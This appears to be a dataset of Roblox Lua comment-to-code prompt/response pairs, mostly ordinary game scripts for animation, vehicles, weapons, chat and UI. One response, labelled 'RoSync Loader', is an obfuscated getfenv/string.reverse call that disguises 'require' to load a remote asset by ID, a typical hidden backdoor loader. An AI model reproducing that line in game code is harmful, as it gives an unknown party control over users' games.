			function(...)
				self:_resolve(...)
			end,
			function(...)
				self:_reject(...)
			end
		)

		return
	end

	self._status = Promise.Status.Resolved
	self._valuesLength, self._values = pack(...)

	-- We assume that these callbacks will not throw errors.
	for _, callback in ipairs(self._queuedResolve) do
		callback(...)
	end
end

function Promise.prototype:_reject(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	self._status = Promise.Status.Rejected
	self._valuesLength, self._values = pack(...)

	-- If there are any rejection handlers, call those!
	if not isEmpty(self._queuedReject) then
		-- We assume that these callbacks will not throw errors.
		for _, callback in ipairs(self._queuedReject) do
			callback(...)
		end
	else
		-- At this point, no one was able to observe the error.
		-- An error handler might still be attached if the error occurred
		-- synchronously. We'll wait one tick, and if there are still no
		-- observers, then we should put a message in the console.

		self._unhandledRejection = true
		local err = tostring((...))

		spawn(function()
			-- Someone observed the error, hooray!
			if not self._unhandledRejection then
				return
			end

			-- Build a reasonable message
			local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format(
				err,
				self._source
			)
			warn(message)
		end)
	end
end

return Promise


Prompt: -- Enable tool or plugin

Response:
if Mode == 'Plugin' then

	-- Set the UI root
	UIContainer = CoreGui;

	-- Create the toolbar button
	PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(
		'Building Tools by F3X',
		'Building Tools by F3X',
		Assets.PluginIcon
	);

	-- Connect the button to the system
	PluginButton.Click:Connect(function ()
		PluginEnabled = not PluginEnabled;
		PluginButton:SetActive(PluginEnabled);

		-- Toggle the tool
		if PluginEnabled then
			Plugin:Activate(true);
			Enable(Plugin:GetMouse());
		else
			Disable();
		end;
	end);

	-- Disable the tool upon plugin deactivation
	Plugin.Deactivation:Connect(Disable);

	-- Sync Studio selection to internal selection
	Selection.Changed:Connect(function ()
		SelectionService:Set(Selection.Items);
	end);

	-- Sync internal selection to Studio selection on enabling
	Enabling:Connect(function ()
		Selection.Replace(SelectionService:Get());
	end);

	-- Roughly sync Studio history to internal history (API lacking necessary functionality)
	History.Changed:Connect(function ()
		ChangeHistoryService:SetWaypoint 'Building Tools by F3X';
	end);

elseif Mode == 'Tool' then

	-- Set the UI root
	UIContainer = Player:WaitForChild 'PlayerGui';

	-- Connect the tool to the system
	Tool.Equipped:Connect(Enable);
	Tool.Unequipped:Connect(Disable);

	-- Disable the tool if not parented
	if not Tool.Parent then
		Disable();
	end;

	-- Disable the tool automatically if not equipped or in backpack
	Tool.AncestryChanged:Connect(function (Item, Parent)
		if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then
			Disable();
		end;
	end);

end;


Prompt: --Damages the humanoid.

Response:
function PlayerDamager:DamageHumanoid(DamagingPlayer,Humanoid,Damage,ToolName)
	--Check if it can be damaged.
	if not PlayerDamager:CanDamageHumanoid(DamagingPlayer,Humanoid) or not Humanoid.Parent then
		return
	end

	--Damage the humanoid.
	Humanoid:TakeDamage(Damage)

	--Create the tag.
	local CreatorTag = Instance.new("ObjectValue")
	CreatorTag.Name = "creator"
	CreatorTag.Value = DamagingPlayer
	CreatorTag.Parent = Humanoid
	Debris:AddItem(CreatorTag,3)
end

return PlayerDamager


Prompt: -- OFFSET HANDLERS

Response:
local alignmentDetails = {}
alignmentDetails["left"] = {
	startScale = 0,
	getOffset = function()
		local offset = 48 + IconController.leftOffset
		if checkTopbarEnabled() and starterGui:GetCoreGuiEnabled("Chat") then
			offset += 12 + 32
		end
		return offset
	end,
	getStartOffset = function()
		local alignmentGap = IconController["leftGap"]
		local startOffset = alignmentDetails.left.getOffset() + alignmentGap
		return startOffset
	end,
	records = {}
}
alignmentDetails["mid"] = {
	startScale = 0.5,
	getOffset = function()
		return 0
	end,
	getStartOffset = function(totalIconX)
		local alignmentGap = IconController["midGap"]
		return -totalIconX/2 + (alignmentGap/2)
	end,
	records = {}
}
alignmentDetails["right"] = {
	startScale = 1,
	getOffset = function()
		local offset = IconController.rightOffset
		if checkTopbarEnabled() and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)) then
			offset += 48
		end
		return offset
	end,
	getStartOffset = function(totalIconX)
		local startOffset = -totalIconX - alignmentDetails.right.getOffset()
		return startOffset
	end,
	records = {}
	--reverseSort = true
}


Prompt: --------------------[ ANIMATION FUNCTIONS ]-------------------------------------------

Response:
function Animate()
	spawn(function()
		local T = createL(HUD)

		local baseStr = ""
		local formatStr = "%s"
		for _, Byte in pairs(ASCII) do
			local Char = string.char(Byte)
			baseStr = baseStr..Char
		end
		local newStr = string.format(formatStr, baseStr)
		T.Text = newStr
	end)

	local Increment = 90 / 0.4--1.5 / 0.4
	local runAlpha = 0
	local currentlyCrawling = false
	local crawlTween = false
	INSERT(Connections, RS.RenderStepped:connect(function(dt)
		--Movement Variable updating
		isCrawling = (Stance == 2 and onGround and S.stanceSettings.crawlAnimation) and ((not Idling) and Walking) or false
		isIdling = (((not onGround) and S.stopAnimsOnFall) and true or (Idling and (not Walking))) and (not Knifing) and (not isCrawling)
		isWalking = (not Idling) and Walking and (not Running) and (not Knifing)  and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)
		isRunning = (not Idling) and Walking and Running and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)

		crawlAlpha = math.min(math.max(crawlAlpha + (isCrawling and Increment or -Increment) * dt, 0), 90)
		idleAlpha = math.min(math.max(idleAlpha + (isIdling and Increment or -Increment) * dt, 0), 90)
		walkAlpha = math.min(math.max(walkAlpha + (isWalking and Increment or -Increment) * dt, 0), 90)
		runAlpha = math.min(math.max(runAlpha + (isRunning and Increment or -Increment) * dt, 0), 90)

		local posHip = (
			Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Pos
		) + (
			Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Pos
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
		)
		local rotHip = (
			Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Rot
		) + (
			Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Rot
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
		)
		local posAim = (
			Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Pos
		) + (
			Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Pos
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
		)
		local rotAim = (
			Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Rot
		) + (
			Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Rot
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
		)

		Anim.Pos = (1 - aimAlpha) * posHip + aimAlpha * posAim
		Anim.Rot = (1 - aimAlpha) * rotHip + aimAlpha * rotAim

		Anim.Ang = Anim.Ang + RAD(105 * dt) * stanceSway

		--Gun Momentum updating
		gunMomentum.t = V3(desiredXOffset, desiredYOffset, 0)
		local newGunMomentum = gunMomentum.p
		currentXOffset = newGunMomentum.X / S.momentumSettings.maxInput
		currentYOffset = newGunMomentum.Y / S.momentumSettings.maxInput

		--Recoil spring updating
		gunRecoilSpring.t = recoilAnim.Rot
		camRecoilSpring.t = camOffsets.Recoil.Rot

		--Cross spring updating
		if Aimed then
			crossSpring.t = V3(-2, 0, 0)
		else
			crossSpring.t = V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0)
		end
		local newS = crossSpring.p.X
		crossA.Position = UDim2.new(0.5, -1, 1, -newS / 2)
		crossB.Position = UDim2.new(0, newS / 2 - 15, 0.5, -1)
		crossC.Position = UDim2.new(0.5, -1, 0, newS / 2 - 15)
		crossD.Position = UDim2.new(1, -newS / 2, 0.5, -1)

		--Orientation updating
		local finalCamOffset = getTotalCamOffset()
		headWeld.C1 = CFANG(-camAng.y - finalCamOffset.Y, 0, 0)
		if (not Humanoid.Sit) then
			HRP.CFrame = CF(HRP.Position) * CFANG(0, camAng.x + finalCamOffset.X, 0)
		end

		--Walkspeed updating
		if Running then
			Humanoid.WalkSpeed = S.walkSpeeds.Sprinting
		else
			local SpeedRatio = S.walkSpeeds.Aimed / S.walkSpeeds.Base
			if Stance == 0 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Aimed or S.walkSpeeds.Base)
			elseif Stance == 1 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Crouched * SpeedRatio or S.walkSpeeds.Crouched)
			elseif Stance == 2 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Prone * SpeedRatio or S.walkSpeeds.Prone)
			end
		end
	end))

	local crawlAng = 0
	while Selected do
		if isCrawling then
			breakReload = (Reloading and true or breakReload)
			if Aimed then unAimGun(true) end
			local tempCrawlAnim = Anims.Crawling(crawlAng, moveAng)
			spawn(function()
				local startCamRot = crawlCamRot
				local startLLegCF = LLegWeld.C1
				local startRLegCF = RLegWeld.C1
				local t0 = tick()
				while true do
					RS.Heartbeat:wait()
					local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
					if (not isCrawling) then break end
					if (not Selected) then break end
					crawlCamRot = numLerp(startCamRot, tempCrawlAnim.Camera, Sine(Alpha))
					LLegWeld.C1 = startLLegCF:lerp(tempCrawlAnim.leftLeg, Linear(Alpha))
					RLegWeld.C1 = startRLegCF:lerp(tempCrawlAnim.rightLeg, Linear(Alpha))
					if Alpha == 90 then break end
				end
			end)
			tweenJoint(LWeld, nil, tempCrawlAnim.leftArm, Linear, 0.3)
			tweenJoint(RWeld, nil, tempCrawlAnim.rightArm, Linear, 0.3)
			tweenJoint(Grip, nil, tempCrawlAnim.Grip, Linear, 0.3)
			lowerSpread()
			local t0 = tick()
			while true do
				local dt = RS.Heartbeat:wait()
				if (not Selected) then break end
				if (not isCrawling) then break end
				if (tick() - t0) >= 0.3 then
					local crawlAnim = Anims.Crawling(crawlAng, moveAng)
					LWeld.C1 = crawlAnim.leftArm
					RWeld.C1 = crawlAnim.rightArm
					LLegWeld.C1 = crawlAnim.leftLeg
					RLegWeld.C1 = crawlAnim.rightLeg
					Grip.C1 = crawlAnim.Grip
					crawlCamRot = crawlAnim.Camera
					crawlAng = crawlAng + 0.5 * RAD(105 * dt) * (HRP.Velocity * V3(1, 0, 1)).magnitude / 3
				end
			end
		else
			crawlAng = 0
			if (not equipAnimPlaying) then
				spawn(function()
					local startCamRot = crawlCamRot
					local startLLegCF = LLegWeld.C1
					local startRLegCF = RLegWeld.C1
					local t0 = tick()
					while true do
						RS.RenderStepped:wait()
						local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
						if isCrawling then break end
						if (not Selected) then break end
						crawlCamRot = numLerp(startCamRot, 0, Sine(Alpha))
						LLegWeld.C1 = startLLegCF:lerp(CF(), Linear(Alpha))
						RLegWeld.C1 = startRLegCF:lerp(CF(), Linear(Alpha))
						if Alpha == 90 then break end
					end
				end)
				if (not isRunning) then
					tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, 0.3)
					tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, 0.3)
					tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.3)
				end
			end
			while true do
				if (not Selected) then break end
				if isCrawling then break end
				RS.RenderStepped:wait()
			end
		end
		wait()
	end
end

function getAnimCF()
	return 	CF(aimHeadOffset, 0, 0) * CFANG(
		jumpAnim.Rot * COS(camAng.Y) * jumpAnimMultiplier + (-RAD(currentYOffset) * rotationMultiplier + gunRecoilSpring.p.X + Anim.Rot.X) * stanceSway,
		(-RAD(currentXOffset) * rotationMultiplier + gunRecoilSpring.p.Y + Anim.Rot.Y) * stanceSway,
		(RAD(currentXOffset) * rotationMultiplier + RAD(armTilt) * armTiltMultiplier + gunRecoilSpring.p.Z + Anim.Rot.Z) * stanceSway
	) * CF(
		(Anim.Pos.X + recoilAnim.Pos.X) * stanceSway,
		jumpAnim.Pos * COS(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Y + recoilAnim.Pos.Y) * stanceSway,
		-jumpAnim.Pos * SIN(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Z + recoilAnim.Pos.Z) * stanceSway
	), CFANG(-camAng.Y * crawlAlpha / 90, 0, 0) * CF(aimHeadOffset, -1, 0)
end


Prompt:
-- Settings for the projectile's path!
-- расчёт пути

Response:
local startPoint = Vector3.new(0,5, 0)
local targetPoint = Vector3.new(0, 5, 100)
local travelTime = 2	-- время пути
local antiGravity = 1	-- противодействие гравитации 1 - горизонталь, 0,5 по дуге


Prompt: --Object functions

Response:
local function Update(self, i)
	--Decrement debounce
	if self.debounce > 0 then
		self.debounce = math.max(self.debounce - 1, 0)
	else
		self.update = nil
	end
end


Prompt: -- Settings

Response:
local key = Enum.KeyCode.D -- key to trigger dash
local velocity = 1400 -- dash speed
local debounce = false -- debounce, do not set to true
local cooldown = 5 -- cooldown after dash
local duration = 0.3 -- dash duration


Prompt:
-- ROBLOX deviation: rewrote this because Lua doesn't have negative lookahead
-- currently commented out as it is unused
-- local function indentAllLines(lines: string, indent: string): string
-- 	local t = string.split(lines, '\n')
-- 	for i, l in ipairs(t) do
-- 		t[i] = indent .. l
-- 	end
-- 	return table.concat(t, '\n')
-- end


Prompt: --You can copy what you've done above (lines 6 to 19) and modify the values to do it to multiple players.


Prompt: -- Function to handle mobile sprint button tap

Response:
local function onMobileButtonTap()
	if not isSprinting and meterV > 0 then
		isSprinting = true
		handleSprinting()
	else
		isSprinting = false
		humanoid.WalkSpeed = defaultWalkSpeed -- Reset walk speed when stopping sprint
	end
end


Prompt: -- Configuration System

Response: print("DOORS 👁 Sound Pack: Installing Entities Sounds...")


Prompt:
--[=[
	@within Signal
	@interface SignalConnection
	.Connected boolean
	.Disconnect (SignalConnection) -> ()

	Represents a connection to a signal.
	```lua
	local connection = signal:Connect(function() end)
	print(connection.Connected) --> true
	connection:Disconnect()
	print(connection.Connected) --> false
	```
]=]


Response:
function configureAnimationSetOld(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
			-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
		end
	end

	-- preload anims
	if PreloadAnimsUserFlag then
		for i, animType in pairs(animTable) do
			for idx = 1, animType.count, 1 do
				Humanoid:LoadAnimation(animType[idx].anim)
			end
		end
	end
end


Prompt:
--[=[
    @interface ISimulationConfig
    @within Types
    .raycastWhitelist {BasePart} -- Raycast whitelist used for collision checks.
    .feetHeight number -- Players feet height. Height goes from -2.5 to +2.5 so any point below this number is considered the players feet. The distance between middle and feetHeight is "ledge".
    .stepSize number -- How big an object we can step over?

    The config passed to the Chickynoid [Simulation] class.
]=]

Response:
export type ISimulationConfig = {
    raycastWhitelist: { BasePart },
    feetHeight: number,
    stepSize: number,
}


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 3296		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt:
--[[
	Tells whether the current test we're in should be skipped.
]]

Response:
function TestSession:shouldSkip()
	-- If our test tree had any exclusive tests, then normal tests are skipped!
	if self.hasFocusNodes then
		for i = #self.nodeStack, 1, -1 do
			local node = self.nodeStack[i]

			-- Skipped tests are still skipped
			if node.planNode.modifier == TestEnum.NodeModifier.Skip then
				return true
			end

			-- Focused tests are the only ones that aren't skipped
			if node.planNode.modifier == TestEnum.NodeModifier.Focus then
				return false
			end
		end

		return true
	else
		for i = #self.nodeStack, 1, -1 do
			local node = self.nodeStack[i]

			if node.planNode.modifier == TestEnum.NodeModifier.Skip then
				return true
			end
		end
	end

	return false
end

return TestSession


Prompt: --[[Remove Character Weight]]

Response:
	--Get Seats
	local Seats = {}
	function getSeats(p)
		for i,v in pairs(p:GetChildren()) do
			if v:IsA("VehicleSeat") or v:IsA("Seat") then
				local seat = {}
				seat.Seat = v
				seat.Parts = {}
				table.insert(Seats,seat)
			end
			getSeats(v)
		end
	end
	getSeats(car)

	--Store Physical Properties/Remove Mass Function
	function getPProperties(mod,t)
		for i,v in pairs(mod:GetChildren()) do
			if v:IsA("BasePart") then
				if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
				table.insert(t,{v,v.CustomPhysicalProperties})
				v.CustomPhysicalProperties = PhysicalProperties.new(
					0,
					v.CustomPhysicalProperties.Friction,
					v.CustomPhysicalProperties.Elasticity,
					v.CustomPhysicalProperties.FrictionWeight,
					v.CustomPhysicalProperties.ElasticityWeight
				)
			end
			getPProperties(v,t)
		end
	end

	--Apply Seat Handler
	for i,v in pairs(Seats) do
		--Sit Handler
		v.Seat.ChildAdded:connect(function(child)
			if child.Name=="SeatWeld" and child:IsA("Weld") and child.Part1~=nil and child.Part1.Parent ~= workspace and not child.Part1.Parent:IsDescendantOf(car) then
				v.Parts = {}
				getPProperties(child.Part1.Parent,v.Parts)
			end
		end)

		--Leave Handler
		v.Seat.ChildRemoved:connect(function(child)
			if child.Name=="SeatWeld" and child:IsA("Weld") then
				for i,v in pairs(v.Parts) do
					if v[1]~=nil and v[2]~=nil and v[1]:IsDescendantOf(workspace) then
						v[1].CustomPhysicalProperties = v[2]
					end
				end
				v.Parts = {}
			end
		end)
	end


Prompt: -- functions

Response:
local function Update()
	GUN_GUI.AmmoLabel.Text	= tostring(currentAmmo)

	if character then
		GUN_GUI.TotalLabel.Text	= tostring(ammo[currentSize].Value)
	end
end

local function HandleCharacter(newCharacter)
	if newCharacter then
		character	= nil

		ammo		= newCharacter:WaitForChild("Ammo")
		character	= newCharacter
	end
end


Prompt:
-- Script by Tonitoni. Model link: http://www.roblox.com/Max-Zoom-Distance-script-item?id=160640387
-- v.1.1 June 7th 2015

Response:
game.Players.PlayerAdded:connect(function(player)
	wait(0.5) --Players report the script didn't work. Adding this should resolve the issue.
	player.CameraMaxZoomDistance = 100000 -- Change this to change zoom distance
end)


Prompt: -- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000

Response:
function RayCast(startPos, vec, rayLength)
	local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
	if hitObject and hitPos then
		local distance = rayLength - (hitPos - startPos).magnitude
		if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
			-- there is a chance here for potential infinite recursion
			return RayCast(hitPos, vec, distance)
		end
	end
	return hitObject, hitPos
end

function TagHumanoid(humanoid, player)
	-- Add more tags here to customize what tags are available.
	while humanoid:FindFirstChild('creator') do
		humanoid:FindFirstChild('creator'):Destroy()
	end
	local creatorTag = Instance.new("ObjectValue")
	creatorTag.Value = player
	creatorTag.Name = "creator"
	creatorTag.Parent = humanoid
	DebrisService:AddItem(creatorTag, 1)
end

local function CreateFlash()
	if not FlashHolder then
		FlashHolder = Instance.new("Part", Tool)
		FlashHolder.Name = "FlashHolder"
		FlashHolder.Transparency = 1
		FlashHolder.CanCollide= false
		FlashHolder.FormFactor = "Custom"
		FlashHolder.Size = Vector3.new(.4,.4,.4)
		FlashHolder.Position = Tool.Handle.Position
		local Weld = Instance.new("ManualWeld")
		Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
		Weld.C1 = CFrame.new(0, .4, -2.4, 0, 0, 1, 1, 0, 0, 0, 1, 0)
		Weld.Part0 = FlashHolder
		Weld.Part1 = Tool.Handle
		Weld.Parent = FlashHolder
	end
	local flash = Instance.new('Fire', FlashHolder)
	flash.Color = Color3.new(1, 140 / 255, 0)
	flash.SecondaryColor = Color3.new(1, 0, 0)
	flash.Size = 0.3
	DebrisService:AddItem(flash, FireRate / 1.5)
end

local BulletBase = Instance.new('Part')
BulletBase.FormFactor = Enum.FormFactor.Custom
BulletBase.Size = Vector3.new(1,1,1)
BulletBase.BrickColor = BrickColor.new("Black")
BulletBase.CanCollide = false
BulletBase.Anchored = true
BulletBase.TopSurface = Enum.SurfaceType.Smooth
BulletBase.BottomSurface = Enum.SurfaceType.Smooth
BulletBase.Name = 'Bullet'

local BulletMesh = Instance.new("SpecialMesh")
BulletMesh.MeshType = 'Sphere'
BulletMesh.Scale = Vector3.new(.2,.2,.2)
BulletMesh.Parent = BulletBase

local function CreateBullet(bulletPos, hit)
	local bullet = BulletBase:Clone()

	bullet.CFrame = CFrame.new(bulletPos)
	bullet.Parent = game.Workspace
	DebrisService:AddItem(bullet, 2.5)

	if hit.Anchored == false then
		local weld = Instance.new'Weld'
		weld.C0 = hit.CFrame:toObjectSpace(CFrame.new(bulletPos))
		weld.Part0 = hit
		weld.Part1 = bullet
		weld.Parent = bullet
		bullet.Anchored = false
	end

	return bullet
end

local function Reload()
	if not Reloading then
		Reloading = true
		Tool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), "rbxasset://textures\\GunWaitCursor.png")
		-- Don't reload if you are already full or have no extra ammo
		if AmmoInClip ~= ClipSize then
			if PumpTrack then
				PumpTrack:Stop()
			end
			for i = 1,6 do
				if PumpTrack then
					PumpTrack:Play()
				end
				if Handle:FindFirstChild('PumpSound') then
					Handle.PumpSound:Play()
				end
				wait(ReloadTime/6)
			end
			-- Only use as much ammo as you have
			local ammoToUse = ClipSize - AmmoInClip
			AmmoInClip = AmmoInClip + ammoToUse
			UpdateAmmo(AmmoInClip)
		end
		Tool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), "rbxasset://textures\\GunCursor.png")
		Reloading = false
	end
end

local CasingBase = Instance.new('Part')
CasingBase.FormFactor = Enum.FormFactor.Custom
CasingBase.Elasticity = 0
CasingBase.Size = Vector3.new(.3,.3,.5)
local CasingMesh = Instance.new('SpecialMesh')
CasingMesh.MeshId = 'http://www.roblox.com/asset/?id=94248124'
CasingMesh.TextureId = 'http://www.roblox.com/asset/?id=94219470'


Prompt:
--[[**
	ensures Roblox UDim type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.UDim = primitive("UDim")


Prompt: --The settings above will give the player a chance to use the Med Kit.

Response:
for i = 1,Length do
	Humanoid = script.Parent.Humanoid
	Humanoid.Health = Humanoid.Health - Lethality
	wait(WaitTime)
end


Prompt:
--[=[
	@param msg string
	Throws an error with `msg` as the error message if the value is _not_ None.
]=]

Response:
function Option:ExpectNone(msg)
	assert(self:IsNone(), msg)
end


Prompt:
--[[Information about tool:
This tool is created with the AH-64.
its one of the Efectivest tools created by me
]]
--Not change below SOMETHING! Exept where i say u may do !
--Flight movement

Response:
creativeval = 0
bin=script.Parent


Prompt: --Camera frustum check

Response:
local last_camera_res = nil
local last_camera_fov = nil
local cam_planes = nil
function camera_util.CheckFrustum(point, rad)
	--Update camera planes if FOV or resolution changed
	local camera = workspace.CurrentCamera
	if cam_planes == nil or camera.ViewportSize ~= last_camera_res or camera.FieldOfView ~= last_camera_fov then
		--Get camera factors
		last_camera_res = camera.ViewportSize
		last_camera_fov = camera.FieldOfView

		local aspectRatio = last_camera_res.X / last_camera_res.Y
		local hFactor = math.tan(math.rad(last_camera_fov) / 2)
		local wFactor = aspectRatio * hFactor

		--Get planes
		cam_planes = {
			Vector3.new(hFactor, 0, 1).unit,
			Vector3.new(0, wFactor, 1).unit,
			Vector3.new(-hFactor, 0, 1).unit,
			Vector3.new(0, -wFactor, 1).unit,
		}
	end

	--Test against camera planes
	local cframe = camera.CFrame
	local local_pos = cframe:inverse() * point

	for _,v in pairs(cam_planes) do
		if v:Dot(local_pos) > rad then
			return false
		end
	end

	return true
end

return camera_util


Prompt: --[[ Last synced 7/2/2022 01:10 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt:
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.

Response:
local FILTER_MESSAGE_TIMEOUT = 60

local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")

local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))

local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end

local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",

	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction",
}


Prompt: -- Expose plugin if in plugin mode

Response: _G[Tool] = { Plugin = Plugin };


Prompt: -- Image shortcuts: you can use these string instead of using image ids

Response:
richText.ImageShortcuts = {}
richText.ImageShortcuts.Eggplant = 639588687
richText.ImageShortcuts.Thinking = 955646496
richText.ImageShortcuts.Sad = 947900188
richText.ImageShortcuts.Happy = 414889555
richText.ImageShortcuts.Despicable = 711674643


Prompt: --// SERVICES //--

Response:
local CoreGuiService = game:GetService('CoreGui')
local PlayersService = game:GetService('Players')
local GuiService = game:GetService('GuiService')
local UserInputService = game:GetService('UserInputService')
local StarterGui = game:GetService('StarterGui')
local STS_Settings = script.Parent.Parent.Parent.Parent:WaitForChild('STS_Settings')

local Character = game.Players.LocalPlayer.Character
if Character == nil then
	repeat
		wait()
	until (Character ~= nil)
	print('FoundCharacter')
end
local Stamina = Character:WaitForChild('Stamina')
local Sprinting = false
local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay
local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina
local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed
local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value
local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value
local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value


Prompt:
--!nonstrict
-- Roblox character sound script

Response:
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local AtomicBinding = require(script:WaitForChild("AtomicBinding"))

local function loadFlag(flag: string)
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled(flag)
	end)
	return success and result
end

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
